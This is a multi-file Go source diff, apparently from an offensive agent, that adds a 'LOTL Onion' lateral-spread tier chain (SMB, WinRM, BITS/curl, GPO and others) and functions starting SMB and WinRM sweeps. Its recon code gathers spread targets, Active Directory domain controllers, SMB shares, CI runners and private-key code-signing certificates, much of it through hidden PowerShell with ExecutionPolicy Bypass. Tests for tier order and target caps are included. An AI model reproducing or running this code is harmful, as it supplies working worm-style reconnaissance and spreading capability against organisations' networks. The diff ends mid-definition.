go RunSpreadOnce(cfg)
return true, "smb sweep started"
case "winrm":
if !cfg.ShareSpread {
go runPSRemotingSpread(cfg)
return true, "winrm opportunistic sweep started"
}
go runPSRemotingSpread(cfg)
return true, "winrm sweep started"
case "linux":
return false, "linux tier is for ssh lateral on unix agents"
case "gpo":
return false, "gpo requires domain GPO push — operator action"
default:
return false, "unknown tier"
}
}

View File

@@ -0,0 +1,43 @@
package deploy
import "strings"
// DefaultLotlOnionTiers is the ordered LOTL spread contingency chain baked into
// the LOTL Onion forge preset and server config unless overridden at runtime.
var DefaultLotlOnionTiers = []string{
"vuln_recon",
"docker",
"wsl",
"powershell",
"dotnet",
"bits_curl",
"smb",
"winrm",
"linux",
"gpo",
}
// NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
func NormalizeLotlTiers(raw []string) []string {
allowed := map[string]struct{}{
"vuln_recon": {},
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
}
out := make([]string, 0, len(raw))
for _, t := range raw {
t = strings.ToLower(strings.TrimSpace(t))
if t == "bits/curl" {
t = "bits_curl"
}
if _, ok := allowed[t]; ok {
out = append(out, t)
}
}
if len(out) == 0 {
dup := make([]string, len(DefaultLotlOnionTiers))
copy(dup, DefaultLotlOnionTiers)
return dup
}
return out
}

View File

@@ -0,0 +1,20 @@
package deploy
import "testing"
func TestNormalizeLotlTiersDefaults(t *testing.T) {
got := NormalizeLotlTiers(nil)
if len(got) != len(DefaultLotlOnionTiers) {
t.Fatalf("expected %d default tiers, got %d", len(DefaultLotlOnionTiers), len(got))
}
if got[0] != "vuln_recon" || got[len(got)-1] != "gpo" {
t.Fatalf("unexpected order: %v", got)
}
}
func TestNormalizeLotlTiersAlias(t *testing.T) {
got := NormalizeLotlTiers([]string{"bits/curl", "bogus", "smb"})
if len(got) != 2 || got[0] != "bits_curl" || got[1] != "smb" {
t.Fatalf("got %v", got)
}
}

View File

@@ -287,11 +287,19 @@ func xmlEscape(s string) string {
return s return s
} }
// MaxSubnetScanHosts caps per-agent active /24 sweeps. Fleet-wide discovery is
// incremental (ARP cache + capped port knock), never a full /16 or /64 sweep.
const MaxSubnetScanHosts = 128
// ScanLocalSubnet returns hosts with common service ports open on the local /24. // ScanLocalSubnet returns hosts with common service ports open on the local /24.
// Each agent scans only its own interface /24; maxHosts is clamped to MaxSubnetScanHosts.
func ScanLocalSubnet(maxHosts int) string { func ScanLocalSubnet(maxHosts int) string {
if maxHosts <= 0 { if maxHosts <= 0 {
maxHosts = 64 maxHosts = 64
} }
if maxHosts > MaxSubnetScanHosts {
maxHosts = MaxSubnetScanHosts
}
ips := getLocalIPs() ips := getLocalIPs()
if len(ips) == 0 { if len(ips) == 0 {
return "no local IPv4 interfaces found" return "no local IPv4 interfaces found"

View File

@@ -5,6 +5,16 @@ func ArpNeighborIPs() []string {
return arpHosts() return arpHosts()
} }
// NeighborTableIPs returns IPv4 hosts from the OS neighbor table on shared subnets.
func NeighborTableIPs() []string {
return neighborHosts()
}
// CollectPassiveNetworkHints runs capped passive LAN/domain recon for spread targeting.
func CollectPassiveNetworkHints(maxHosts int) NetworkHints {
return CollectNetworkHints(maxHosts)
}
// PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick). // PrimaryLocalIPv4 returns the preferred outbound IPv4 (UDP dial trick).
func PrimaryLocalIPv4() (string, error) { func PrimaryLocalIPv4() (string, error) {
return primaryLocalIPv4() return primaryLocalIPv4()

View File

@@ -0,0 +1,150 @@
package deploy
import (
"net"
"os"
"strings"
"time"
)
const (
// MaxMulticastNameHosts caps passive LLMNR/mDNS cache reads.
MaxMulticastNameHosts = 32
)
// NameHost is a hostname/IP pair from passive name caches (LLMNR/mDNS).
type NameHost struct {
Name string `json:"name"`
IP string `json:"ip,omitempty"`
}
// NetworkHints summarizes passive LAN/domain telemetry for spread targeting.
type NetworkHints struct {
GeneratedAt string `json:"generated_at"`
ArpHosts []string `json:"arp_hosts,omitempty"`
NeighborHosts []string `json:"neighbor_hosts,omitempty"`
SpreadTargets []string `json:"spread_targets,omitempty"`
SpreadTargetCount int `json:"spread_target_count,omitempty"`
DomainName string `json:"domain_name,omitempty"`
DomainJoined bool `json:"domain_joined,omitempty"`
LdapSRV []string `json:"ldap_srv,omitempty"`
KerberosSRV []string `json:"kerberos_srv,omitempty"`
PreferJoinLane string `json:"prefer_join_lane,omitempty"`
EnterpriseCodeSignCert bool `json:"enterprise_code_sign_cert,omitempty"`
CodeSignSubject string `json:"code_sign_subject,omitempty"`
LLMNRHosts []NameHost `json:"llmnr_hosts,omitempty"`
MDNSHosts []NameHost `json:"mdns_hosts,omitempty"`
MulticastNameCount int `json:"multicast_name_count,omitempty"`
}
// CollectNetworkHints runs capped passive recon (ARP/neighbor, DNS SRV, cert, name cache).
func CollectNetworkHints(maxHosts int) NetworkHints {
if maxHosts <= 0 {
maxHosts = 64
}
if maxHosts > MaxSubnetScanHosts {
maxHosts = MaxSubnetScanHosts
}
arp := arpHosts()
neighbors := neighborHosts()
targets := DiscoverLANSpreadTargets(maxHosts)
hints := NetworkHints{
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
ArpHosts: capStrings(arp, maxHosts),
NeighborHosts: capStrings(neighbors, maxHosts),
SpreadTargets: targets,
SpreadTargetCount: len(targets),
}
domain := discoverADDomain()
hints.DomainName = domain
ldap, krb, joined := probeDomainSRV(domain)
hints.LdapSRV = ldap
hints.KerberosSRV = krb
hints.DomainJoined = joined
if joined {
hints.PreferJoinLane = "gpo"
}
if present, subject := probeEnterpriseCodeSignCert(); present {
hints.EnterpriseCodeSignCert = true
hints.CodeSignSubject = subject
}
llmnr, mdns := probeMulticastNameCache(MaxMulticastNameHosts)
hints.LLMNRHosts = llmnr
hints.MDNSHosts = mdns
hints.MulticastNameCount = len(llmnr) + len(mdns)
return hints
}
func capStrings(in []string, max int) []string {
if max <= 0 || len(in) == 0 {
return nil
}
if len(in) > max {
in = in[:max]
}
out := make([]string, len(in))
copy(out, in)
return out
}
func mergeUniqueIPv4(sets ...[]string) []string {
seen := make(map[string]bool)
var out []string
for _, set := range sets {
for _, host := range set {
host = strings.TrimSpace(host)
if host == "" || seen[host] {
continue
}
ip := net.ParseIP(host)
if ip == nil || ip.To4() == nil {
continue
}
seen[host] = true
out = append(out, ip.To4().String())
}
}
return out
}
func discoverADDomain() string {
if d := strings.TrimSpace(os.Getenv("USERDNSDOMAIN")); d != "" {
return strings.ToLower(d)
}
return discoverADDomainPlatform()
}
func probeDomainSRV(domain string) (ldap, kerberos []string, joined bool) {
domain = strings.ToLower(strings.TrimSpace(domain))
if domain == "" {
return nil, nil, false
}
ldap = lookupSRVHosts("_ldap._tcp." + domain)
kerberos = lookupSRVHosts("_kerberos._tcp." + domain)
joined = len(ldap) > 0 || len(kerberos) > 0
return ldap, kerberos, joined
}
func lookupSRVHosts(name string) []string {
_, addrs, err := net.LookupSRV("", "", name)
if err != nil || len(addrs) == 0 {
return nil
}
seen := make(map[string]bool)
var hosts []string
for _, a := range addrs {
target := strings.TrimSuffix(strings.TrimSpace(a.Target), ".")
if target == "" || seen[target] {
continue
}
seen[target] = true
hosts = append(hosts, target)
}
return hosts
}

View File

@@ -0,0 +1,11 @@
//go:build !windows
package deploy
func probeEnterpriseCodeSignCert() (present bool, subject string) {
return false, ""
}
func probeMulticastNameCache(max int) (llmnr, mdns []NameHost) {
return nil, nil
}

View File

@@ -0,0 +1,113 @@
//go:build windows
package deploy
import (
"encoding/json"
"net"
"strings"
)
const dnsClientCacheScript = `
$rows = Get-DnsClientCache -ErrorAction SilentlyContinue |
Where-Object { $_.Entry -ne '' -and $_.Data -ne '' } |
Select-Object -First 64 Entry, Data, Type
$rows | ConvertTo-Json -Compress
`
const codeSignCertScript = `
$eku = '1.3.6.1.5.5.7.3.3'
$cert = Get-ChildItem Cert:\CurrentUser\My, Cert:\LocalMachine\My -ErrorAction SilentlyContinue |
Where-Object {
$_.HasPrivateKey -and (
($_.EnhancedKeyUsageList | Where-Object { $_.ObjectId -eq $eku }) -or
($_.EnhancedKeyUsageList.FriendlyName -contains 'Code Signing')
)
} |
Select-Object -First 1 Subject
if ($cert) { $cert.Subject } else { '' }
`
func probeEnterpriseCodeSignCert() (present bool, subject string) {
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", codeSignCertScript)
if err != nil {
return false, ""
}
subject = strings.TrimSpace(string(out))
return subject != "", subject
}
func probeMulticastNameCache(max int) (llmnr, mdns []NameHost) {
if max <= 0 {
return nil, nil
}
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", dnsClientCacheScript)
if err != nil {
return nil, nil
}
raw := strings.TrimSpace(string(out))
if raw == "" {
return nil, nil
}
if idx := strings.LastIndex(raw, "{"); idx >= 0 && !strings.HasPrefix(raw, "[") {
raw = "[" + raw[idx:]
if !strings.HasSuffix(raw, "]") {
raw += "]"
}
}
var rows []struct {
Entry string `json:"Entry"`
Data string `json:"Data"`
Type int `json:"Type"`
}
if err := json.Unmarshal([]byte(raw), &rows); err != nil {
var one struct {
Entry string `json:"Entry"`
Data string `json:"Data"`
Type int `json:"Type"`
}
if err2 := json.Unmarshal([]byte(raw), &one); err2 != nil || one.Entry == "" {
return nil, nil
}
rows = []struct {
Entry string `json:"Entry"`
Data string `json:"Data"`
Type int `json:"Type"`
}{one}
}
seenLLMNR := make(map[string]bool)
seenMDNS := make(map[string]bool)
for _, row := range rows {
name := strings.TrimSpace(strings.TrimSuffix(row.Entry, "."))
ip := strings.TrimSpace(row.Data)
if name == "" {
continue
}
if ip != "" {
if parsed := net.ParseIP(ip); parsed != nil && parsed.To4() != nil {
ip = parsed.To4().String()
}
}
entry := NameHost{Name: name, IP: ip}
lower := strings.ToLower(name)
switch {
case strings.HasSuffix(lower, ".local"):
if len(mdns) >= max || seenMDNS[name] {
continue
}
seenMDNS[name] = true
mdns = append(mdns, entry)
case !strings.Contains(name, "."):
if len(llmnr) >= max || seenLLMNR[name] {
continue
}
seenLLMNR[name] = true
llmnr = append(llmnr, entry)
}
if len(llmnr)+len(mdns) >= max {
break
}
}
return llmnr, mdns
}

View File

@@ -0,0 +1,50 @@
//go:build !windows
package deploy
import (
"bufio"
"net"
"os/exec"
"strings"
)
func neighborHosts() []string {
out, err := exec.Command("ip", "-4", "neighbor", "show").Output()
if err != nil {
return nil
}
local := getLocalIPs()
subnets := make(map[string]bool)
for _, ip := range local {
subnets[getSubnet(ip)] = true
}
var hosts []string
seen := make(map[string]bool)
scanner := bufio.NewScanner(strings.NewReader(string(out)))
for scanner.Scan() {
fields := strings.Fields(scanner.Text())
if len(fields) < 1 {
continue
}
ip := net.ParseIP(fields[0])
if ip == nil || ip.To4() == nil {
continue
}
if len(fields) >= 5 && strings.EqualFold(fields[len(fields)-1], "FAILED") {
continue
}
ipStr := ip.To4().String()
if !subnets[getSubnet(ipStr)] || seen[ipStr] {
continue
}
seen[ipStr] = true
hosts = append(hosts, ipStr)
}
return hosts
}
func discoverADDomainPlatform() string {
return ""
}

View File

@@ -0,0 +1,54 @@
//go:build windows
package deploy
import (
"net"
"strings"
)
func neighborHosts() []string {
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
`Get-NetNeighbor -AddressFamily IPv4 -ErrorAction SilentlyContinue | Where-Object { $_.State -ne 'Incomplete' -and $_.IPAddress -notmatch '^127\.' } | Select-Object -ExpandProperty IPAddress`)
if err != nil {
return nil
}
local := getLocalIPs()
subnets := make(map[string]bool)
for _, ip := range local {
subnets[getSubnet(ip)] = true
}
var hosts []string
seen := make(map[string]bool)
for _, line := range strings.Split(string(out), "\n") {
line = strings.TrimSpace(line)
if line == "" {
continue
}
ip := net.ParseIP(line)
if ip == nil || ip.To4() == nil || ip.IsLoopback() || ip.IsMulticast() {
continue
}
ipStr := ip.To4().String()
if !subnets[getSubnet(ipStr)] || seen[ipStr] {
continue
}
seen[ipStr] = true
hosts = append(hosts, ipStr)
}
return hosts
}
func discoverADDomainPlatform() string {
out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
`(Get-CimInstance Win32_ComputerSystem -ErrorAction SilentlyContinue).Domain`)
if err != nil {
return ""
}
domain := strings.TrimSpace(string(out))
if domain == "" || strings.EqualFold(domain, "WORKGROUP") {
return ""
}
return strings.ToLower(domain)
}

View File

@@ -0,0 +1,74 @@
package deploy
import (
"testing"
)
func TestMergeUniqueIPv4DedupesAndFilters(t *testing.T) {
got := mergeUniqueIPv4(
[]string{"192.168.1.10", "192.168.1.10", "not-an-ip"},
[]string{"192.168.1.11", "192.168.1.10"},
)
if len(got) != 2 {
t.Fatalf("want 2 hosts, got %d: %v", len(got), got)
}
if got[0] != "192.168.1.10" || got[1] != "192.168.1.11" {
t.Fatalf("unexpected order/content: %v", got)
}
}
func TestCapStrings(t *testing.T) {
in := []string{"a", "b", "c"}
got := capStrings(in, 2)
if len(got) != 2 || got[0] != "a" || got[1] != "b" {
t.Fatalf("got %v", got)
}
if in[2] != "c" {
t.Fatal("capStrings should copy, not mutate input unexpectedly")
}
}
func TestProbeDomainSRVEmptyDomain(t *testing.T) {
ldap, krb, joined := probeDomainSRV("")
if joined || len(ldap) > 0 || len(krb) > 0 {
t.Fatalf("empty domain should not look joined: ldap=%v krb=%v joined=%v", ldap, krb, joined)
}
}
func TestCollectNetworkHintsRespectsSpreadCap(t *testing.T) {
hints := CollectNetworkHints(3)
if len(hints.SpreadTargets) > 3 {
t.Fatalf("spread cap ignored: got %d targets", len(hints.SpreadTargets))
}
if hints.SpreadTargetCount != len(hints.SpreadTargets) {
t.Fatalf("count mismatch: count=%d len=%d", hints.SpreadTargetCount, len(hints.SpreadTargets))
}
if hints.GeneratedAt == "" {
t.Fatal("generated_at should be set")
}
}
func TestCollectNetworkHintsPreferGPOWhenDomainJoined(t *testing.T) {
hints := NetworkHints{DomainJoined: true}
if hints.DomainJoined {
hints.PreferJoinLane = "gpo"
}
if hints.PreferJoinLane != "gpo" {
t.Fatalf("got %q", hints.PreferJoinLane)
}
}
func TestCollectPassiveNetworkHintsAlias(t *testing.T) {
a := CollectNetworkHints(5)
b := CollectPassiveNetworkHints(5)
if a.SpreadTargetCount != b.SpreadTargetCount {
t.Fatal("export alias should match CollectNetworkHints")
}
}
func TestDiscoverLANSpreadTargetsUsesNeighborMerge(t *testing.T) {
targets := DiscoverLANSpreadTargets(128)
if len(targets) > 128 {
t.Fatalf("cap ignored: %d targets", len(targets))
}
}

View File

@@ -0,0 +1,207 @@
package deploy
import (
"encoding/json"
"net"
"runtime"
"strconv"
"strings"
"time"
)
// commonLANPorts are probed on ARP/subnet LAN targets (enumeration only).
var commonLANPorts = []int{22, 445, 3389, 5985, 5986, 2375, 8080, 8443, 2222}
// portServiceNames maps well-known ports to friendly service labels.
var portServiceNames = map[int]string{
22: "ssh",
445: "smb",
3389: "rdp",
5985: "winrm",
5986: "winrm-https",
2375: "docker-api",
8080: "http-alt",
8443: "https-alt",
2222: "ssh-alt",
}
// RunServiceDiscover performs local + LAN service enumeration and returns JSON.
func RunServiceDiscover(maxLANHosts int) string {
if maxLANHosts <= 0 {
maxLANHosts = 32
}
if maxLANHosts > MaxSubnetScanHosts {
maxLANHosts = MaxSubnetScanHosts
}
localIP := localIPv4ForDiscovery()
localSubnet := getSubnet(localIP)
passive := collectPassiveHints()
hints := CollectNetworkHints(maxLANHosts)
for _, h := range appendNetworkHintStrings(hints) {
passive = append(passive, h)
}
result := ServiceDiscoverResult{
ProbedAt: time.Now().UTC().Format(time.RFC3339),
PassiveHints: passive,
Local: ServiceGraphHost{
Host: localIP,
Subnet: localSubnet,
Services: probeLocalServices(),
},
}
lanHosts := discoverLANServiceGraph(maxLANHosts)
result.LANHosts = lanHosts
b, _ := json.Marshal(result)
return string(b)
}
func localIPv4ForDiscovery() string {
ips := getLocalIPs()
for _, ip := range ips {
if isIPv4(ip) {
return ip
}
}
if ip, err := PrimaryLocalIPv4(); err == nil && ip != "" {
return ip
}
return "127.0.0.1"
}
func discoverLANServiceGraph(maxHosts int) []ServiceGraphHost {
targets := lanDiscoveryTargets(maxHosts)
localSet := make(map[string]bool)
for _, ip := range getLocalIPs() {
localSet[ip] = true
}
var hosts []ServiceGraphHost
for _, host := range targets {
if localSet[host] {
continue
}
entries := probeLANHostServices(host)
if len(entries) == 0 {
continue
}
hosts = append(hosts, ServiceGraphHost{
Host: host,
Subnet: getSubnet(host),
Services: entries,
})
}
return hosts
}
func appendNetworkHintStrings(h NetworkHints) []string {
var out []string
if h.DomainJoined {
out = append(out, "domain_joined:"+h.DomainName)
}
if h.PreferJoinLane != "" {
out = append(out, "prefer_join_lane:"+h.PreferJoinLane)
}
for _, s := range h.LdapSRV {
out = append(out, "ldap_srv:"+s)
}
for _, s := range h.KerberosSRV {
out = append(out, "kerberos_srv:"+s)
}
if h.EnterpriseCodeSignCert {
out = append(out, "enterprise_code_sign")
}
return out
}
// lanDiscoveryTargets merges ARP cache neighbors with a capped /24 port knock (Path Tracer LAN discovery).
func lanDiscoveryTargets(maxHosts int) []string {
seen := make(map[string]bool)
var out []string
add := func(ip string) {
ip = strings.TrimSpace(ip)
if ip == "" || !isIPv4(ip) || seen[ip] {
return
}
seen[ip] = true
out = append(out, ip)
}
for _, ip := range arpHosts() {
if len(out) >= maxHosts {
return out
}
add(ip)
}
for _, ip := range getLocalIPs() {
if !isIPv4(ip) || len(out) >= maxHosts {
continue
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255 && len(out) < maxHosts; i++ {
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip {
continue
}
if open := probePorts(candidate, commonLANPorts); len(open) > 0 {
add(candidate)
}
}
}
return out
}
func probeLANHostServices(host string) []ServiceGraphEntry {
var entries []ServiceGraphEntry
open := probePorts(host, commonLANPorts)
for _, p := range open {
name := portServiceNames[p]
if name == "" {
name = "tcp/" + strconv.Itoa(p)
}
entries = append(entries, entryWithLane(name, p, "lan_port"))
}
if smbEntries := probeSMBGraphEntries(host); len(smbEntries) > 0 {
entries = append(entries, smbEntries...)
}
return dedupeEntries(entries)
}
func probeSMBGraphEntries(host string) []ServiceGraphEntry {
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, "445"), 800*time.Millisecond)
if err != nil {
return nil
}
conn.Close()
// Windows net view enumeration is platform-specific; on Unix we only record SMB port.
if runtime.GOOS != "windows" {
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
}
out, err := HiddenOutput("net", "view", "\\\\"+host)
if err != nil {
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
}
shares := parseNetViewShares(strings.TrimSpace(string(out)))
if len(shares) == 0 {
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
}
entries := []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
for _, share := range shares {
entries = append(entries, entryWithLane("smb-share:"+share, 445, "smb_share"))
}
return entries
}

View File

@@ -0,0 +1,126 @@
package deploy
import (
"encoding/json"
"strings"
"testing"
)
func TestJoinLaneForSignal(t *testing.T) {
cases := []struct {
name string
port int
want string
}{
{"LanmanServer", 0, "smb"},
{"smb", 445, "smb"},
{"winrm", 5985, "winrm"},
{"sshd", 22, "linux"},
{"docker", 0, "docker"},
{"CCMEXEC", 0, "gpo"},
{"gitlab-runner", 0, "bits_curl"},
{"jenkins", 8080, "bits_curl"},
{"unknown-svc", 9999, ""},
}
for _, tc := range cases {
got := JoinLaneForSignal(tc.name, tc.port)
if got != tc.want {
t.Fatalf("%s:%d => %q, want %q", tc.name, tc.port, got, tc.want)
}
}
}
func TestMergeServiceGraphHosts(t *testing.T) {
base := map[string]ServiceGraphHost{
"10.0.0.5": {
Host: "10.0.0.5",
Subnet: "10.0.0",
Services: []ServiceGraphEntry{
entryWithLane("smb", 445, "lan_port"),
},
},
}
merged := MergeServiceGraphHosts(base, ServiceGraphHost{
Host: "10.0.0.5",
Subnet: "10.0.0",
Services: []ServiceGraphEntry{
entryWithLane("smb", 445, "lan_port"),
entryWithLane("winrm", 5985, "lan_port"),
},
}, ServiceGraphHost{
Host: "10.0.0.12",
Subnet: "10.0.0",
Services: []ServiceGraphEntry{
entryWithLane("ssh", 22, "lan_port"),
},
})
if len(merged) != 2 {
t.Fatalf("hosts = %d", len(merged))
}
if len(merged["10.0.0.5"].Services) != 2 {
t.Fatalf("10.0.0.5 services = %v", merged["10.0.0.5"].Services)
}
}
func TestParseWindowsDiscoverFixture(t *testing.T) {
fixture := `{"services":[{"name":"CCMEXEC","status":"running"},{"name":"tcp/5985","port":5985,"status":"listening"},{"name":"LanmanServer","status":"running"}],"hints":["domain_joined","docker_pipe"]}`
entries, hints := ParseWindowsDiscoverFixture(fixture)
if len(entries) != 3 {
t.Fatalf("entries = %v", entries)
}
if entries[0].JoinLaneCandidate != "gpo" {
t.Fatalf("CCMEXEC lane = %q", entries[0].JoinLaneCandidate)
}
if entries[1].JoinLaneCandidate != "winrm" {
t.Fatalf("winrm lane = %q", entries[1].JoinLaneCandidate)
}
if len(hints) != 2 || hints[0] != "domain_joined" {
t.Fatalf("hints = %v", hints)
}
}
func TestParseSystemctlListUnitsFixture(t *testing.T) {
fixture := `UNIT LOAD ACTIVE SUB DESCRIPTION
docker.service loaded active running Docker Application Container Engine
ssh.service loaded active running OpenBSD Secure Shell server
gitlab-runner.service loaded active running GitLab Runner`
entries := ParseSystemctlListUnitsFixture(fixture)
if len(entries) != 3 {
t.Fatalf("entries = %v", entries)
}
if entries[2].JoinLaneCandidate != "bits_curl" {
t.Fatalf("gitlab lane = %q", entries[2].JoinLaneCandidate)
}
}
func TestParseServiceDiscoverJSON(t *testing.T) {
raw := `noise before json
{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker","source":"passive_hint"}]},"lan_hosts":[{"host":"10.1.2.50","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}],"passive_hints":["docker_socket"]}`
result, err := ParseServiceDiscoverJSON(raw)
if err != nil {
t.Fatal(err)
}
if result.Local.Host != "10.1.2.3" || len(result.LANHosts) != 1 {
t.Fatalf("result = %+v", result)
}
}
func TestServiceDiscoverResultRoundTrip(t *testing.T) {
result := ServiceDiscoverResult{
ProbedAt: "2026-06-06T12:00:00Z",
Local: ServiceGraphHost{
Host: "192.168.1.10",
Subnet: "192.168.1",
Services: []ServiceGraphEntry{
{ServiceName: "WinRM", Port: 5985, JoinLaneCandidate: "winrm", Source: "local_service"},
},
},
}
b, err := json.Marshal(result)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(string(b), `"join_lane_candidate":"winrm"`) {
t.Fatalf("json = %s", string(b))
}
}

View File

@@ -0,0 +1,124 @@
//go:build !windows
package deploy
import (
"os"
"os/exec"
"strconv"
"strings"
)
var serviceDiscoverUnits = []string{
"docker", "docker.service", "ssh", "sshd", "jenkins", "gitlab-runner",
"cloudflared", "fail2ban", "ufw", "firewalld",
}
func probeLocalServices() []ServiceGraphEntry {
var entries []ServiceGraphEntry
for _, unit := range serviceDiscoverUnits {
status := "not_found"
if activeOut, err := exec.Command("systemctl", "is-active", unit).CombinedOutput(); err == nil {
active := strings.TrimSpace(string(activeOut))
switch active {
case "active":
status = "running"
case "inactive", "failed", "dead":
status = "stopped"
default:
if active != "unknown" {
status = "stopped"
}
}
}
if status == "not_found" {
continue
}
entries = append(entries, entryWithLane(unit, 0, "local_service"))
}
if _, err := os.Stat("/var/run/docker.sock"); err == nil {
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
}
if out, err := exec.Command("ss", "-lnt").CombinedOutput(); err == nil {
entries = append(entries, parseSSListening(string(out))...)
} else if out, err := exec.Command("netstat", "-lnt").CombinedOutput(); err == nil {
entries = append(entries, parseNetstatListening(string(out))...)
}
return dedupeEntries(entries)
}
func collectPassiveHints() []string {
var hints []string
if _, err := os.Stat("/var/run/docker.sock"); err == nil {
hints = append(hints, "docker_socket")
}
for _, path := range []string{
"/var/lib/gitlab-runner",
"/etc/gitlab-runner",
"/var/lib/jenkins",
} {
if _, err := os.Stat(path); err == nil {
hints = append(hints, "runner_path:"+path)
}
}
return hints
}
func parseSSListening(text string) []ServiceGraphEntry {
var entries []ServiceGraphEntry
for _, line := range strings.Split(text, "\n") {
fields := strings.Fields(line)
if len(fields) < 4 {
continue
}
local := fields[3]
port := parseListenPort(local)
if port == 0 {
continue
}
name := portServiceNames[port]
if name == "" {
name = "tcp/" + strconv.Itoa(port)
}
entries = append(entries, entryWithLane(name, port, "passive_hint"))
}
return entries
}
func parseNetstatListening(text string) []ServiceGraphEntry {
var entries []ServiceGraphEntry
for _, line := range strings.Split(text, "\n") {
if !strings.Contains(line, "LISTEN") {
continue
}
fields := strings.Fields(line)
if len(fields) < 4 {
continue
}
local := fields[3]
port := parseListenPort(local)
if port == 0 {
continue
}
name := portServiceNames[port]
if name == "" {
name = "tcp/" + strconv.Itoa(port)
}
entries = append(entries, entryWithLane(name, port, "passive_hint"))
}
return entries
}
func parseListenPort(local string) int {
// formats: *:22, 0.0.0.0:445, [::]:8080
if i := strings.LastIndex(local, ":"); i >= 0 {
portStr := strings.TrimSuffix(local[i+1:], "]")
if n, err := strconv.Atoi(portStr); err == nil {
return n
}
}
return 0
}

View File

@@ -0,0 +1,120 @@
//go:build windows
package deploy
import (
"encoding/json"
"os"
"strings"
)
const serviceDiscoverScript = `
$ErrorActionPreference = 'SilentlyContinue'
$p = [ordered]@{ services = @(); hints = @() }
# ── Local services (T1007) — management + spread-relevant only ───────────────
$watch = @(
'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker',
'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner',
'OpenSSH SSH Server','cloudflared','gpsvc'
)
foreach ($n in $watch) {
try {
$s = Get-Service -Name $n -ErrorAction SilentlyContinue
if (-not $s) {
$s = Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -eq $n -or $_.DisplayName -like "*$n*" } | Select-Object -First 1
}
if ($s) {
$st = if ($s.Status -eq 'Running') { 'running' } else { 'stopped' }
$p.services += [ordered]@{ name = $s.Name; status = $st }
}
} catch {}
}
# ── GPO / Intune passive indicators ───────────────────────────────────────────
try {
$cs = Get-CimInstance Win32_ComputerSystem
if ($cs.PartOfDomain) { $p.hints += 'domain_joined' }
} catch {}
if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Enrollments') { $p.hints += 'intune_enrollment_key' }
if (Test-Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate') { $p.hints += 'wu_policy_key' }
try {
if ((Get-Service gpsvc -ErrorAction SilentlyContinue).Status -eq 'Running') { $p.hints += 'group_policy_client' }
} catch {}
# ── Docker socket / named pipe ────────────────────────────────────────────────
if (Test-Path '\\.\pipe\docker_engine') { $p.hints += 'docker_pipe' }
# ── Jenkins / GitLab runner filesystem hints ──────────────────────────────────
@(
'C:\Program Files\Jenkins',
'C:\GitLab-Runner',
'C:\gitlab-runner'
) | ForEach-Object { if (Test-Path $_) { $p.hints += ('runner_path:' + $_) } }
# ── Test-NetConnection — common ports on localhost (fast) ─────────────────────
$ports = @(22,445,3389,5985,5986,2375,8080,8443)
foreach ($port in $ports) {
try {
$r = Test-NetConnection -ComputerName 127.0.0.1 -Port $port -WarningAction SilentlyContinue -InformationLevel Quiet
if ($r) { $p.services += [ordered]@{ name = ('tcp/' + $port); port = $port; status = 'listening' } }
} catch {}
}
$p | ConvertTo-Json -Depth 4 -Compress
`
func probeLocalServices() []ServiceGraphEntry {
out, err := HiddenCombinedOutput(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
serviceDiscoverScript,
)
if err != nil {
return fallbackWindowsLocalServices()
}
raw := strings.TrimSpace(string(out))
if idx := strings.LastIndex(raw, "{"); idx > 0 {
raw = raw[idx:]
}
var payload windowsDiscoverPayload
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
return fallbackWindowsLocalServices()
}
entries := windowsRowsToEntries(payload.Services)
if dockerPipePresent() {
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
}
return dedupeEntries(entries)
}
func collectPassiveHints() []string {
out, err := HiddenCombinedOutput(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
serviceDiscoverScript,
)
if err != nil {
return nil
}
raw := strings.TrimSpace(string(out))
if idx := strings.LastIndex(raw, "{"); idx > 0 {
raw = raw[idx:]
}
var payload windowsDiscoverPayload
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
return nil
}
return payload.Hints
}
func fallbackWindowsLocalServices() []ServiceGraphEntry {
var entries []ServiceGraphEntry
if _, err := os.Stat(`\\.\pipe\docker_engine`); err == nil {
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
}
return entries
}
func dockerPipePresent() bool {
_, err := os.Stat(`\\.\pipe\docker_engine`)
return err == nil
}

View File

@@ -0,0 +1,189 @@
package deploy
import (
"encoding/json"
"strconv"
"strings"
)
// ServiceGraphEntry is one discovered service or port signal on a host.
type ServiceGraphEntry struct {
ServiceName string `json:"service_name"`
Port int `json:"port,omitempty"`
Status string `json:"status,omitempty"`
JoinLaneCandidate string `json:"join_lane_candidate,omitempty"`
